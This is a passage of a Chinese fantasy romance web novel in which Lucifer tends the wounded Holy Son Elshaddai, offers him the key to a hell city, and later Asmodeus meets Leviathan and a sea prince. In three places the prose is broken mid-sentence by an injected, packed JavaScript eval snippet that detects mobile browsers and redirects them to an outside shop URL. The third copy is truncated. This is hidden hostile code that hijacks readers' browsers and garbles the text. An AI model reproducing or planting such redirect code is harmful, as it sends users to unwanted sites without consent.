“人类之躯,不配受封地狱主城。”路西法声音空冷,威势森严。 伊勒沙代不恼,温声道:“故而,我请以地狱主城,换取他物,陛下可允准?” “说。” 这便是同意。 “请陛下,与我相拥。” 说罢,伊勒沙代张开双臂。 他不怀疑路西法是否会暴怒,继而杀了他。 路西法现在不会这样做。 不是因为契印。 单纯地,只是因为…… 路西现在疼得根本无法去衡量得失。 说什么就做什么。 很可爱的。 一座地狱主城换路西主动入怀,太值得了。 果真,路西法冷漠地盯着他片刻,随后便上前,走入他怀中的范围。 路西没有和别人拥抱的经验,伊勒沙代很宽容地引导他,要将手臂环靠。 要低头,伏在他颈间。 路西法偏热的气息浸染在他颈间,那股烈火焚烧过的花的香气越发浓郁,似也要缠上他的衣物,他只安抚地顺着路西法的脊骨轻轻向下。 伊勒沙代的脸色霎时苍白,不同于之前故作姿态欺骗那恶魔,现在是真的没有一丝血色。 伤势痛觉回转,按理他该站不住,但他太贪恋现在路西法乖顺地伏在他怀中的时刻,就算透支,也要坚持。 上一次是多久前? 没有上一次,记忆中圣父不曾以实体姿态抱过他。 下一次遥遥无期。 所以要纵享此刻。 伊勒沙代爱怜地轻抚路西法的长发,温柔诱哄:“好了,路西,不疼了。” 声音已虚弱至极。 眼前一切景色天旋地转,伊勒沙代不再清醒。 最后只看见路西法微微睁大的眼。 威严冷酷的撒旦陛下,竟然会有这一刻无措。 到底,人类之躯,还是太脆弱了。 伊勒沙代不无遗憾。 37. 他不是祂 阿斯蒙蒂斯没料到丢两个恶魔回来天都塌了。 且不论约里他们醒来发现伊勒沙代昏迷是怎样的人仰马翻一团乱麻场景,就说他尊敬的陛下面无表情地抱着伊勒沙代沉思的模样就已经够让他眼前一黑。 其他人倒是都想围过去,但撒旦陛下虽未表明身份却已是积威甚重,他们也只敢停在三五步外着急。 甚至不敢出声催促他。 所幸路西法并未沉思太久,好歹并未想着现在就让伊勒沙代这么伤重不治而亡,带着他上车朝最近的城镇而去。 约里不敢质问路西法,但对着阿斯蒙蒂斯还是没那么恐惧的,围着他问了一路,阿斯蒙蒂斯捡着能说的部分告诉他们,剩下不能说的自然是任他们怎么问都不开口。 期间,阿斯蒙蒂斯惊奇地发现,聂厄曼与利安维亚的记忆似乎少了一段,他们好像已是认为自己同约里他们一样被艾尼打晕过去,剩下的什么都不知道了。 真是稀奇,难道刚才艾尼把他们打失忆了? 不过艾尼这家伙好勇斗狠,对人类下手向来没轻没重的,也不算不合理。 三目飞翼狮在路西法的示意下加快脚程,一行人很快就到了最近的小镇,这镇上最好的医匠迅速连人带工具箱被带了过来,老人家气还没喘匀,止血用具就被塞进了手里。 幸好伊勒沙代伤势不算太重,昏过去只是因法力透支,老医匠给他上了药包扎好伤口,开了换的药,又絮絮叨叨叮嘱一番伤口愈合之前不可碰水,然后就又被风驰电掣地连人带工具箱送回了医馆。 老医匠捏了捏那个来去如风,眉眼俊俏,生得一副风流多情模样的年轻人放进他袖子里的金子,暗自咋舌。 好大气的主顾,早知道就顺带着附送这年轻人几份祖传好用的助兴奇药,不然他这心里都有点过意不去了。 * 阿斯蒙蒂斯送走老医匠回到旅店,便见约里焦虑地在伊勒沙代房门外踱步,心下好奇:“你怎么不进去?” 就是平时约里也恨不得随时在旁听候伊勒沙代差遣,现在伊勒沙代伤重昏迷,他怎么反而不急着去守着了? 约里剜他一眼:“还不是……他不许我们进去。” 他到底还对路西法心有忌讳,如今伊勒沙代又在路西法手上,完全不敢得罪,连姓名也谨慎不提。 阿斯蒙蒂斯立刻站到他的陛下那边:“大概是担心你们人多闹腾,不利于伊勒沙代休养吧。”他一顿,又劝道,“反正你也进不去,那不如先回房,有我在这儿,好歹我还能同陛下说两句话,一旦伊勒沙代醒了,我就通知你。” 约里皱着眉,还是放心不下。 阿斯蒙蒂斯索性吓唬他:“你觉得这一扇门就能隔绝陛下的视线吗?要是他认为你在门口碍了他的眼……” 约里马上抬腿回房。 伊勒沙代正昏迷,他们加起来都不是路西法的对手,还是老实点别添乱的好。 阿斯蒙蒂斯满意地收回视线,约里就是太老实了,换成别人才没这么好糊弄,不过他也是胜在虽然善良但听话不多事这一朴实纯真的品质上,伊勒沙代才会愿意带着他。 确认自己做得很好以后,阿斯蒙蒂斯轻轻敲了敲门,得到路西法允许后才轻手轻脚进去。 路西法正坐在伊勒沙代床边,垂着眼盯着他不见血色的脸,不知在想些什么。 阿斯蒙蒂斯低声道:“陛下,我已将那两个家伙一起扔给了萨麦尔,目前都被看管着,您看是否要处置?” “除了他们,没有别的魔王再接触到那幅画?” 阿斯蒙蒂斯谨慎地想了想,道:“好像……是没有。” 华利弗做贼太有一套了,他盗走那幅画之后放出了好几个迷惑性的线索,到现在甚至都不少魔王还在展会上和完全不相干的宾客拉拉扯扯打嘴仗,目前竟真只有他和艾尼切实地全程为这幅画交手。 不过阿斯蒙蒂斯认为这也是有现在都还被关在潘地曼尼南内城的魔王整体水平层次太低的缘故,要是角逐圈里加个玛门那级别的,恐怕也不能这么快分出高下来,精彩程度也不可同日而语。 路西法冷淡道:“毫无长进。” 那确实是。 阿斯蒙蒂斯尴尬地笑了笑。 同僚太丢脸,他也觉得面上无光。 “华利弗关些时日可以放出去,艾尼……”路西法看向伊勒沙代小臂上缠绕的纱布,想起艾尼不管不顾横冲乱撞的模样,眉心微蹙,“叫萨麦尔按扰乱治安破坏政令实施罪惩处。” 阿斯蒙蒂斯应下,心道这老弟不出意外大约得当潘地曼尼南最后的守城人了。 也不知道多年以后,他那三个头里面有一个能不能想通这就是枕头风的威力。 高端的枕头风不需哭不需闹,光是病怏怏地往那一躺,便能全自动走完一套心疼到迁怒的流程。 阿斯蒙蒂斯以自己纵横情场的经验保证,且看吧,待圣子醒过来,再虚弱地说两句话,艾尼的惩处标准还得往上提。 最后不直接按他刺杀王后来判刑都算圣子手下留情。 圣子手里还有张最大的底牌没出呢,一旦拿出来,再翻旧账,艾尼三个头哪里够砍的,他那条坐骑大蛇都得细细剁成蛇羹。 阿斯蒙蒂斯腹诽半天,想起一事,觉得还是说出来的好:“陛下,方才我将那两个家伙扔回地狱的时候,华利弗一直在想什么似的,然后和我说,他觉得圣子的相貌……有些眼熟。” 但他对于不是奇珍异宝的东西记得都不深,直到被萨麦尔板着脸丢进牢狱之前都没想起个所以然来。 “那就等他想起来再说。”路西法并不在意。 圣子这些年在天国也不算全然不露面,偶尔也有画像雕像之类的在下界传播,华利弗喜欢盗宝,从人家的藏宝库里看到过一眼有印象也不奇怪,眼熟又如何? 不过若是他能凭此认出伊勒沙代的圣子身份,也算有些本事了。 值得放出去。 “那几个有异动的,可查准了?” 阿斯蒙蒂斯正色回道:“已经查准了,您之前说未曾派仆从来探问的,果真已不在府中。” 不仅如此,就连整座府邸里面,由路西法派去名为服侍实为看管的侍从,都不知何时被以傀儡代替。 所以才瞒天过海。 “我竟不知,有人生出了这么大的外心。”路西法竖瞳微微眯起,冷意骤现,“看来还是我对他们太过仁慈。” 阿斯蒙蒂斯不敢接这话,低头道:“是他们太不知好歹,叫您劳心费力,这次定要他们吃够教训。” 但阿斯蒙蒂斯心里明白,肯定不是吃教训这么简单。 八成都回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091881|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去了。 身在哪儿,哪儿就是埋骨地。 阿斯蒙蒂斯怜悯一秒,好端端的,做什么不肯乖乖顺从,非要惹撒旦陛下不悦呢? 也不瞧瞧自己,是哪里能当陛下的对手? 不自量力真是魔王们最大的弱点之一。 他自告奋勇:“陛下,我定去查清他们的去向。” 路西法颔首,阿斯蒙蒂斯才退下。 他做好了,陛下指不定高兴,前罪就一笔勾销。 阿斯蒙蒂斯想到自己这段时间全无感觉的下|半|身,感觉黯然无光的生活终于有了点盼头。 * 房间里又恢复了寂静。 路西法俯下|身,以极近的距离观察伊勒沙代。 方才若是阿斯蒙蒂斯再仔细些,就会发现,伊勒沙代身上的被子是胡乱拉上去的,而被子下他原本整齐的衣襟早就被扯开,大半个胸腹露在外面。 现在被子再度回到原位,他的躯体又呈现眼前。 路西法想,他好像长高了一些? 比初见时也壮了不少。 那时候看起来是真的岁数太小,和表露出来的沉静稳重格格不入。 路西法尖锐的指甲划过他裸露的肌肤,从胸肌一路到腹肌的沟壑,这具身体既有少年人的朝气,亦已颇为可见未来的伟岸健硕,在人类的范畴中,算是极上等的。 路西法回想起那些魔王亦或者人类贵族喜欢搂在怀中的身娇体软美少年,又觉得,似乎不是一种类型的。 不过应该也没人会欣赏不了伊勒沙代的身躯。 从肌肉构架到形状走势,连他都觉得非常美好。 路西法的指尖从伊勒沙代腹肌处又回到胸口,本要用力,又想起那该死的契印,顺带怜惜他本就失血过多,便作罢,只是又扯开了包扎好的伤口。 狰狞的伤口蜿蜒爬在伊勒沙代原本完美的小臂上,路西法看得心痛,倘若伊勒沙代不能恢复如初,一个印子都不留下,那他真要将那恶魔的同伴一起重刑伺候才能解气。 他抓起伊勒沙代的小臂,盯着那伤口,小镇医匠的药膏本就质量一般,他这一番折腾,真让伤口又隐隐开始渗血。 路西法盯了半天。 神是不会流血的。 不,应该说,神没有具体的形态,如风如雾,像世上一切不可捉摸,不能定形之物。 更不必说血肉。 所以,伊勒沙代不是祂。 路西法说不上现在的心情。 到底是松一口气,还是…… 失望。 罢了。 祂理应如此。 祂本就如此。 无情地,冷酷地,坐在至高的神座上,旁观一切风云变幻,沧海桑田。 万事万物出自祂手,却与祂无关。 路西法坐正,阖上眼,片刻后才睁开。 他垂眸看向伊勒沙代小臂上的血,本想随意地擦擦,再给他包扎上。 却忽地有个念头。 于是他复又俯下|身去,低下头。 舌尖轻轻碰上伊勒沙代的伤口。 药是苦的。 他的血…… “……路西?” 路西法蓦地睁大眼睛,恰与伊勒沙代略带疑惑,还有些朦胧的湛蓝双眸对上。 38. 不重要了 四目相对。 伊勒沙代似是刚刚清醒,还有些困倦,反应也颇为迟钝。 路西法以生平最快的速度坐直,移开视线,假装刚才无事发生。 伊勒沙代艰难地撑起身,看向自己大敞开的胸腹,眸中缓缓浮现一点疑惑。 这里没有伤处,不需要处理吧? 路西法余光瞥见,表情微僵,暗自后悔刚才没给他下点□□再行事。 目前只得尚且恶人先告状:“就算你有伤在身,也该穿好衣服,这般衣冠不整,真是有伤风化。” 他一个地狱之王说天国圣子没穿好衣服伤了人间的风化,连起来听着简直太过怪异。 所幸伊勒沙代现在也不甚清明,并未听出不对,反而还颇为羞赧,立刻伸手去合拢衣衫。 只是一伸手便发现,臂上伤口不知何时竟已全然愈合。 连半点疤痕都没留下。 伊勒沙代举起小臂看了看,似有所悟,对路西法诚恳道:“路西,谢谢。” 路西法轻咳一声:“你知道就好。” 这一打岔,又消耗伊勒沙代不少精力,他支撑不住,咳嗽一阵,拢好的衣襟再度散开,胸腹随着咳嗽的动静起伏,吸引着旁观者的视线。 太轻浮了。 耶和华没教过他要自重吗? 路西法别过头,抬手,忽地便有几套衣饰整整齐齐放在伊勒沙代床头。 但在伊勒沙代碰到之前,他又先按在它们之上,定定地望向他:“你可以再想想,要不要接受它们。” 不接受,桥归桥路归路,路西法与他各自维持距离,该做什么就做什么,他日战场见真章。 接受,那么类似魔王争抢画卷,却将伊勒沙代连累其中这样的事以后不会少。 地狱不算完全安宁,争权夺利从未停止,恨路西法的恶魔动不了他,自然就会将目光放在他身边的人之上,而在一众实力强悍的魔王当中,伊勒沙代一个弱小的凡人显得如此突兀,定会成为他们的首选。 路西法自问,若他处于伊勒沙代的位置,不一定会接受。 他如今顶多算个厉害些的凡人,耶和华的任务不是那么好完成的,天使又不能时时刻刻来帮他,何必在此过程中多生事端,再给自己增添难度? 但他毕竟不是伊勒沙代。 伊勒沙代没有犹豫地继续伸手,停在他的手边,从他掌下轻轻抽出放在最上层镶嵌着珠宝雕刻而成鲜红玫瑰的银饰腰带,仍是淡然微笑道:“比起生死一线,我更怕你我陌路。” 掌下之物一点点被温柔又坚定地抽走,好似有什么随它一同消融。 “随便你。” 路西法像是被烫到似的收回手。 他瞥向别处,道:“我已下令让萨麦尔处置他们两个,你不必担心他们会报复。” 看来那两位耀武扬威的魔王此刻也不太好。 大约已经在牢狱中了。 抢夺画卷是一回事,差点伤到人又是另一回事。 看来他在路西心中也不算全无地位。 伊勒沙代垂眸压下一丝笑意,抬头已恢复成往日温柔平和的模样:“他们也不过是为了争夺那幅画而已,虽然行为鲁莽了些,但到底也只是有些急切,其他在场凡人也未曾因他们受伤,不如就算了吧。”他一顿,又颇为愧疚道,“说起来,还是我不配合,妨碍了你从中选拔。” 路西法听罢却眉头更皱:“与你无关,你无需自责。身为魔王却粗笨不堪,这已是重罪。” 伊勒沙代这话倒提醒了他,倘若他们围绕着的对象不是他,而是个真正普普通通,手无缚鸡之力的凡人,这两个恶魔是吓也要把人家吓死了。 那时候,解除封印的就是天使了。 想到这里,他已传音给萨麦尔,令他再加重罚。 远在地狱的萨麦尔万分不解,但欣然照做。 他觉得陛下一直以来的惩戒手法可谓是太轻了,这些不听话不守规矩的蠢货就该尝尝他新研发的处刑手段。 在路西法传讯期间,伊勒沙代一直安静地看着他。 路西法忽地想到,伊勒沙代似乎大多时候都是这样的。 好像除去完成耶和华的任务之外,如果可以,他余下所有时间都将用来这样看着他。 路西法不太适应。 他抓起伊勒沙代的手,强迫他摊开掌心,一枚金光灿灿,造型奇特的钥匙便悬浮在他掌中。 这枚钥匙看着好似一把利剑,柄身雕刻着九层地狱各自的图腾,其中第七层部分占比最大,而尾端则各有一对小小犄角与黑翼,正是地狱生灵的象征;连接柄身与钥匙端的中央做成了一朵繁复鲜艳傲然绽放的玫瑰,从它正中吐出的花蕊便是钥匙尖端。 它太具有特色,伊勒沙代一见便猜出,它定与地狱第七层有关联。 “我应允之事从无悔改,这是地狱第七层主城纳托亚中心府邸的钥匙,伊勒沙代,只要你能进入地狱,纳托亚就奉你为主。” 不仅是财政税收,甚至连政令指挥,内外制度,伊勒沙代都能决定。 只要不违背地狱律法,路西法从不干涉魔王们在自己封地的行为。 就好比有的魔王要求封地内所有地狱生灵都会喝酒,有的魔王却要求封地内不准出现一滴酒,有的允许男男女女彼此之间看对眼就一夜情,有的却严禁在封地内谈情说爱乃至肉|体|交|流。 魔王们各自习性不同,路西法并未想过要将他们打磨成一模一样的性情,或者强制要求他们跟天使似的终生墨守成规。 就算伊勒沙代当真执掌纳托亚城,路西法也不会改变一贯的做法。 能拿到画卷,既是伊勒沙代的运气,也是他的本事。换作旁人,连和艾尼他们周旋的余地都不会有。 无论立场,路西法认可他的能力。 伊勒沙代垂眸看向掌中那枚魔王们趋之若鹜的钥匙,眨了眨眼,笑道:“可我已经用它换了最想要的东西,路西,我也从不反悔。” 最想要的东西。 这话无论换谁来说,都难免显得刻意谄媚,但唯独是伊勒沙代,便只有真诚坦然。 他坚定地把那枚钥匙还给了路西法,毫不留恋。 “伊勒沙代,你想要什么呢?”路西法并未立刻接过钥匙,只是喃喃自语一般低声道。 不再是略带嘲讽的“圣子”,而是他郑重自我介绍的姓名,伊勒沙代。 过往一切旧痕迹都被这个名字覆盖。 他似是从那些尘封的扁平画面里站起,一步步到路西法跟前,逐渐成为如今血肉饱满,生动鲜活的立体模样。 他有自己的坚持和无奈,他有自己的喜好与厌恶。 他不是耶和华随手刻画的一个符号。 一个只为贬低路西菲尔而生的符号。 他是他自己。 纵然耶和华曾有意掩盖路西法的记忆,遮去他们曾经的相遇,但如今他们依然在祂的计划之外相识。 伊勒沙代想要什么? 其实好像很明显。 但路西法在踌躇。 因为他看得明白旁人,现在却未看清自己。 他自可以假装深情,即刻回应,哄骗伊勒沙代交付真心,待到伊勒沙代回归天国,那就是他天然的内应,纵使不成,也可在天国众生乃至耶和华面前揭破他们之间的私情。 圣子为撒旦所惑,违背天国律令私相授受,届时,天国定然颜面无存。 百利而无一害。 他本就是万魔之主,恶欲之宗,谁会指望他有真心? 就算到那一日,众生大约也不会太惊讶,都是觉得——果真如此。 理应如此。 需要承受一切非议的只会是伊勒沙代。 …… 路西法不想这样做。 他可以用尽其他手段打败天国,踏平九重天。 唯独不愿,利用谁的真心。 路西法自嘲地想,兴许还是那九个晨昏的焚天之火不够灼烫,才叫他至今还如此纵情任性。 他收回钥匙,并不多劝,纳托亚并不是非要有一位主人不可。 伊勒沙代亦不惋惜,温和问道:“那幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091882|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画还在我这里,路西,它对你很重要吗?” “不重要了。”路西法兴致缺缺,“你留着吧,丢了烧了也行。” 不久前还价值连城的画卷,此刻便成了不值一提,可以随意处置之物。 撒旦陛下的喜怒无常可见一斑。 所以他的一时兴起又能持续多久? 伊勒沙代若不能抓紧时机,他与这画卷将无二致。 许是消耗太多精力,伊勒沙代面上又难免露出疲态,路西法没想过现在折腾他,主动离开,留给他空间好好休息。 * 路西法走后,约里终于敢进来。 他担心坏了,迫不及待地要来确认伊勒沙代的状况。 只是甫一进来,便见伊勒沙代正剥开那作为包裹的黑布,不禁疑惑:“这不是那副画么?那个……他没拿走吗?” “路西将它留给了我。” 约里“哦”了一声。 倘若换作他人在这里,难免就要开始揣测伊勒沙代与路西法之间的关系,但约里毕竟实心眼惯了,并未深入地想。 其实他从一开始就不太能理解,路西法那性子,再珍贵的稀世异宝他也能看都不看一眼丢着玩儿,一幅画怎么就值得他如此费心了? 他心中好奇,看伊勒沙代正打开那幅画,边凑了过去,想一探究竟。 只见画中场景恢宏,云雾茫茫,有不可数尽的长阶在翻滚的烟霞中若隐若现,长阶尽头,赫然是一座宽广宏伟,威严巍峨的殿宇,其前广场上站满了形形色|色的“人”。 不对,不是人,是不同的种族! 衣饰外貌,乃至动作神情,各不相同,唯一相同的,是他们都正虔诚地望向殿宇内部的方向。 殿宇之内,只有寥寥数人。 赤金光滑的地砖上流转着山川河海的场景,站在其上的几人从华贵的礼服装饰,各有千秋的美丽容貌便可看出身份尊贵非凡。 他们亦看向正中。 最正中之处,光耀更胜朝阳,灼灼夺目,模糊一切。 而在这一处身前,端端正正地跪着一个人。 纵是跪姿,亦可看出他身形高挑挺拔,卷曲的灿金长发被做工精致的发饰细致地装饰着,衣上点缀着的每颗玉石都熠熠闪光。 他正抬手,从那至明之处接过一柄权杖。 约里从不知道,原来自己能从一个背影,就看出倾压众生的美貌风采来。 但也可惜,竟然只有一道背影,不知这正面,又该是何等的绝世姿容。 他正遗憾,却见伊勒沙代忽地转动了那幅画。 而刹那间,画中场景,竟然也转动了起来! 约里屏住呼吸,随着画中场景一点点转动,正中跪接权杖那人的容貌终于露了出来。 是比他平生所能想,还更加完美的容貌。 若非亲眼所见,此生绝不可能想象得出。 但令他万分震动的是…… 这张脸,太过眼熟。 约里颤颤巍巍地伸出手指:“这,这不就是……” 不,也不是。 他乌发如墨,不如画中之人发如碎金。 最重要的是—— 那冰冷森然的殷红竖瞳,与这人温柔似盈盈春波的缥碧眼眸,怎会一样! 他惊讶之下去看伊勒沙代。 却见一向冷静自持的伊勒沙代怔怔盯着画中之人的容貌,梦魇似的伸出手,竟是妄想透过这幅画去触摸那人的双眼一般…… “路西,路西……” 【“耶和华,你我之间,有过什么是真的?”】 【“耶和华,你刚愎自用,凉薄无情,既到此刻,只剩我,何必还惺惺作态?”】 【“从此,非生死之境,我与你绝不相见!”】 “我不是……” “路西,路西,不要伤害——” “先生!”约里惊叫起来。 这幅倾城之画被鲜血染透,一滴恰正落在画中之人双眼上。 “先生,先生你怎么了?醒醒!阿斯蒙蒂斯!快来!” 39. 摧枯拉朽 伊勒沙代醒来时,手中还紧紧握着那幅画卷。 阿斯蒙蒂斯连忙上前,见他又看向那幅画,无奈道:“可别看了,这画里到底有什么?刚才你看了一眼就吐血晕倒,真是把所有人都吓得不轻。” 利安维亚连怀疑那两个魔王在画上下了毒的论调都提了出来。 还获得了大家的支持。 阿斯蒙蒂斯本想拿出来一探究竟,但伊勒沙代实在抓得太紧,他又不敢伤到伊勒沙代,只得作罢。 不过听另一个当事人约里所说,这画上好似也没什么特别刺激的内容吧? 不过就是路西菲尔受封天国副君的场景。 真说起来,他那时候也在场呢。 除了感慨一下父神是真的爱重路西菲尔以外,倒也没别的感受了。 不过现在看来,这些煊赫荣华,都只是镜花水月而已。 伊勒沙代又将那幅画仔细地放回黑布中,再收起,并未回答阿斯蒙蒂斯的问题。 他自己知道,那是圣父的情绪。 神明并非没有爱恨。 只是…… 再浓烈的情感,融进祂数以千万计的岁月里,终也波澜不兴。 但对寿命短暂的凡人伊勒沙代而言却非如此。 所以当他面对这幅画,再被勾起耶和华当时的情绪,便几乎是摧枯拉朽一般的打击。 路西法的叛逃,在三界众生,甚至是距离创世神最近的炽天使们眼里,创世神对此的反应都是平静淡然的。 唯有祂自己知道,日日夜夜,每时每刻,祂的所思所想。 理智来说,祂所做是对的,为了路西好,为了所有人好,就该这样做。 可祂已经几乎无法理智地思考。 无法抑制的思念疯狂滋长,直到完全侵|占无边无际的识海。 但也只能,远远地,借一双僻远的眼,看一瞬。 再多的都不能。 由是越觉荒凉。 路西,路西,在万众簇拥,彻夜烟火中,你会想起清冷孤寂的水晶天吗? 你会……想起我吗? 伊勒沙代握着画卷的手不自觉地用力,筋骨毕显。 不急,他不能急,也不用急。 现在在路西心里,他不是圣父。 所以他还有机会。 阿斯蒙蒂斯向来对于情绪变化最为敏感,他察觉到了伊勒沙代的失态,心下奇怪。 圣子,也不是没见过路西菲尔吧? 好像还就是他将路西菲尔击落的吧…… 至于反应这么大么? 他此刻的情绪,复杂得让阿斯蒙蒂斯一时品不分明。 不对劲,真是不对劲。 他们七罪魔王以众生的恶欲情感为力量来源,可现在,他竟然觉得,伊勒沙代的情感对他来说难以触碰。 要知道,就算是炽天使的也不至于如此啊。 阿斯蒙蒂斯对伊勒沙代真实的实力有些咋舌。 忽地又想,父神这是何必呢? 祂就不怕,圣子会是下一个路西菲尔吗? 哦,应该倒也不会,像路西菲尔这种脾性的,父神自己都未必捏得出来第二个。 目前看来圣子是没这么张狂傲慢的潜质的。 不过片刻,阿斯蒙蒂斯已想了许多。 见伊勒沙代仍然低头不语,他轻咳一声,试探道:“陛下方才不在,需不需要……我去告诉他?” 多好的加深感情机会啊! 阿斯蒙蒂斯自己撩拨情人的时候就喜欢这一招,不管是否当真受伤,做出个柔弱姿态来,总是能叫对方心疼怜爱,感情进一步升温,有时候甚至还能发展出点肢体接触。 接下来么,一切就水到渠成了。 他满心为伊勒沙代打算,却见他神情严肃道:“不可告诉他,你去通知其他人,不能在他面前说漏。” 他自然知道路西法何等敏锐,好不容易才叫他打消些戒心,万不能在此刻毁于一旦。 阿斯蒙蒂斯不太理解,但想了想,还是应声照做。 算了,也许伊勒沙代有别的考量呢。 临走之前,他方才想起一事,复又折返,将一个小瓶放在桌上,道:“这是之前那医匠在街上遇见我时给的,他神神秘秘地说是什么家传秘方,好评无数,说得不清不楚,我也不太懂人类的药,留给你吧,兴许对你有用。” 伊勒沙代扫过一眼,蓦地眸光微凝,须臾便恢复如常,一如既往温和道:“好,多谢。” 当初圣父没教阿斯蒙蒂斯医术,真是太正确了。 * 阿斯蒙蒂斯想自己跟这小镇的街大概有特别的缘分。 第一次出来逛,被那老医匠拦下给了东西。 第二次出来逛,被一条斜刺里伸出来的触|手拽进了黑暗的小巷子里。 阿斯蒙蒂斯思考了一下,对着那一团黑的不明物体,正气凛然道:“如果是劫色的话,我不可能答应你的,动手吧!” 他很挑的。 那团黑色物体很明显僵住了。 阿斯蒙蒂斯心中一惊,他还真准备劫色啊? 随即,它抖了起来。 阿斯蒙蒂斯瞬间警惕。 下一秒,无数触|手朝他四面八方袭来! 阿斯蒙蒂斯灵活地上蹿下跳,从触|手的间隙中将身体折成如纸片一般的弧度穿过。 偶然间,他灵光一闪,抬手抓住一根触手,狠狠一掐。 黑色物体吃痛,发出沉闷嘶哑的叫声。 阿斯蒙蒂斯抓住不放,又躲过几条触|手,找准机会,蓦地化出千万黑色羽刺,将那些触手整整齐齐钉在了两边的墙壁上。 完成以后,他才有机会喘口气,呲牙咧嘴怒道:“利维坦,你是找不到别人陪你玩儿了吗?” 见伪装被识破,黑色物体也不再刻意遮掩自己的外貌,他一把揭开外袍,但却并非是丑陋狰狞的深海巨兽本体,看上去就像个正常的俊俏内敛的青年。 只是一开口,就是粗粝沙哑的声音:“你,你侮辱我。” “被你劫色了才是侮辱!”阿斯蒙蒂斯扬眉瞪眼,为自己的清白不服。 利维坦听罢闷声又要动手,阿斯蒙蒂斯眼疾手快地掏出绳索把他结结实实地捆了起来。 动不了手,利维坦只能忿忿地动口:“谁那么,那么,没品位,劫、劫你的色……” “错!有品位的才喜欢我。”阿斯蒙蒂斯得意道,“所以不喜欢我的你,特别没品,明白了吗?” 利维坦“你……你!”半天,说不出一个词。 深海生灵大多不靠声音交流,他要不是追随路西法而上岸,也因此要跟那些满肚子弯弯绕绕的魔王同僚们打交道,压根没想过学说话,如今正好是被向来伶牙俐齿能说会道的阿斯蒙蒂斯压得死死的。 眼看利维坦实在词穷,下一刻就要暴起,阿斯蒙蒂斯连忙收了得意之色,不再激怒他,轻咳一声,正色道:“你一般可从不离开潘地曼尼南,说吧,找我什么事?” 利维坦心思简单,一下就被他转移了注意力,只是表情霎时变得窘迫起来,一时支支吾吾,吭哧半天说不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿斯蒙蒂斯哼道:“这还像话,但愿你真这么想。那你还带他过来做什么?” “我没带!”利维坦几乎是吼出来这句话,“他,狡诈!他的……父亲,给我设……陷阱……让我,不,没法……辩解……我,我假,装答应,然后,偷,偷跑出来……” 他说得语无伦次,逻辑混乱,阿斯蒙蒂斯还是努力从中拼凑出来一点真相,不禁马上沉了脸:“算计你?他们敢!你跑什么,你该直接把他们全都杀了!你堂堂魔王,怕了一群肉体凡胎的下界生灵,说出去丢不丢脸!” 阿斯蒙蒂斯恨铁不成钢地锤了他一拳。 顺带摩拳擦掌,打算领着利维坦杀回去。 能坑得了利维坦的,那可不是一般人,对方有所图,他能反过来利用,说不定还能给地狱牟利。 阿斯蒙蒂斯才不信什么痴心一片。 真心,就是这世上最大的谎言。 对方定然就是冲着地狱之主的权势地位来的。 利维坦虽然本体体格壮硕,但心智并不成熟,又不善言辞,极容易吃亏,他阿斯蒙蒂斯可不一样,谁想算计他,自己得先掉层皮。 然而,利维坦却艰难地伸出没被钉住的手,拉住了跃跃欲试的阿斯蒙蒂斯:“算,算了吧……我也,没,吃亏……” “不行!”阿斯蒙蒂斯想也不想地拒绝。 “真的!其实,他,他的愿望,就是……是……” “不管他什么愿望,不可能,不答应,明白吗?”阿斯蒙蒂斯双手握住利维坦的肩膀,眼睛与他对视。 利维坦愣愣道:“可,他,就,就是想……” “我就是想留在路西法陛下身边,哪怕只以一个普通侍从的身份,这样也不行吗?” 40. 一箭倾心 阿斯蒙蒂斯上下打量眼前的青年。 长得还行,从他的眼光来看也算不错的,个子挺高,不显得柔弱,不过略瘦了些。 总的来说,是个合格的小美人,最值得称赞的是他那双眼睛,竟然是罕见的如深海一般的颜色。 阿斯蒙蒂斯观察他时,他也在观察阿斯蒙蒂斯。 父王曾告诉他,地狱的七罪魔王生得都各有特色,一旦见到就不会认错,现在看来果真如此。 这位“色|欲”魔王生着一副风流多情的俊美面相,就差将“见异思迁”写在脸上,一双眼灵活得过分,一看就是思维活跃狡诈多变之人。 最不好应付。 不像利维坦,几句话就能把他绕进去。 果然,“色|欲”魔王朝向利维坦笑嘻嘻地开口:“瞧见没,什么陷阱,那都是骗你的,人家的目标就是让你来找陛下,他好跟着你来。” 利维坦恍然大悟,面上显出几分怒气。 一群可恶的家伙,拿他当傻子骗着玩儿呢! “我,我才不,带……你见陛下!” 阿斯蒙蒂斯想换个舒服的姿势靠着墙看戏,才发现利维坦的触|手还被他钉着,连忙悄悄地收回羽刺,暗自嘀咕,利维坦也真是有够皮糙肉厚的,这都不觉得疼吗? 很明显气愤上头的利维坦并不觉得。 他正结结巴巴地试图和那青年争辩。 但任他如何说,青年却始终一言不发。 阿斯蒙蒂斯听一会儿就不耐烦了,开口打断他:“行了,那个谁,你叫什么来着?” 青年这才不情不愿出声:“我叫希罗弥图。” “哦,希罗弥图,好走不送。”阿斯蒙蒂斯点点头。 不过片刻后,他又反应过来,奇道:“希罗弥图?你是那个……海国的小王子?” 希罗弥图挺了挺胸,道:“那我有资格了吧?” 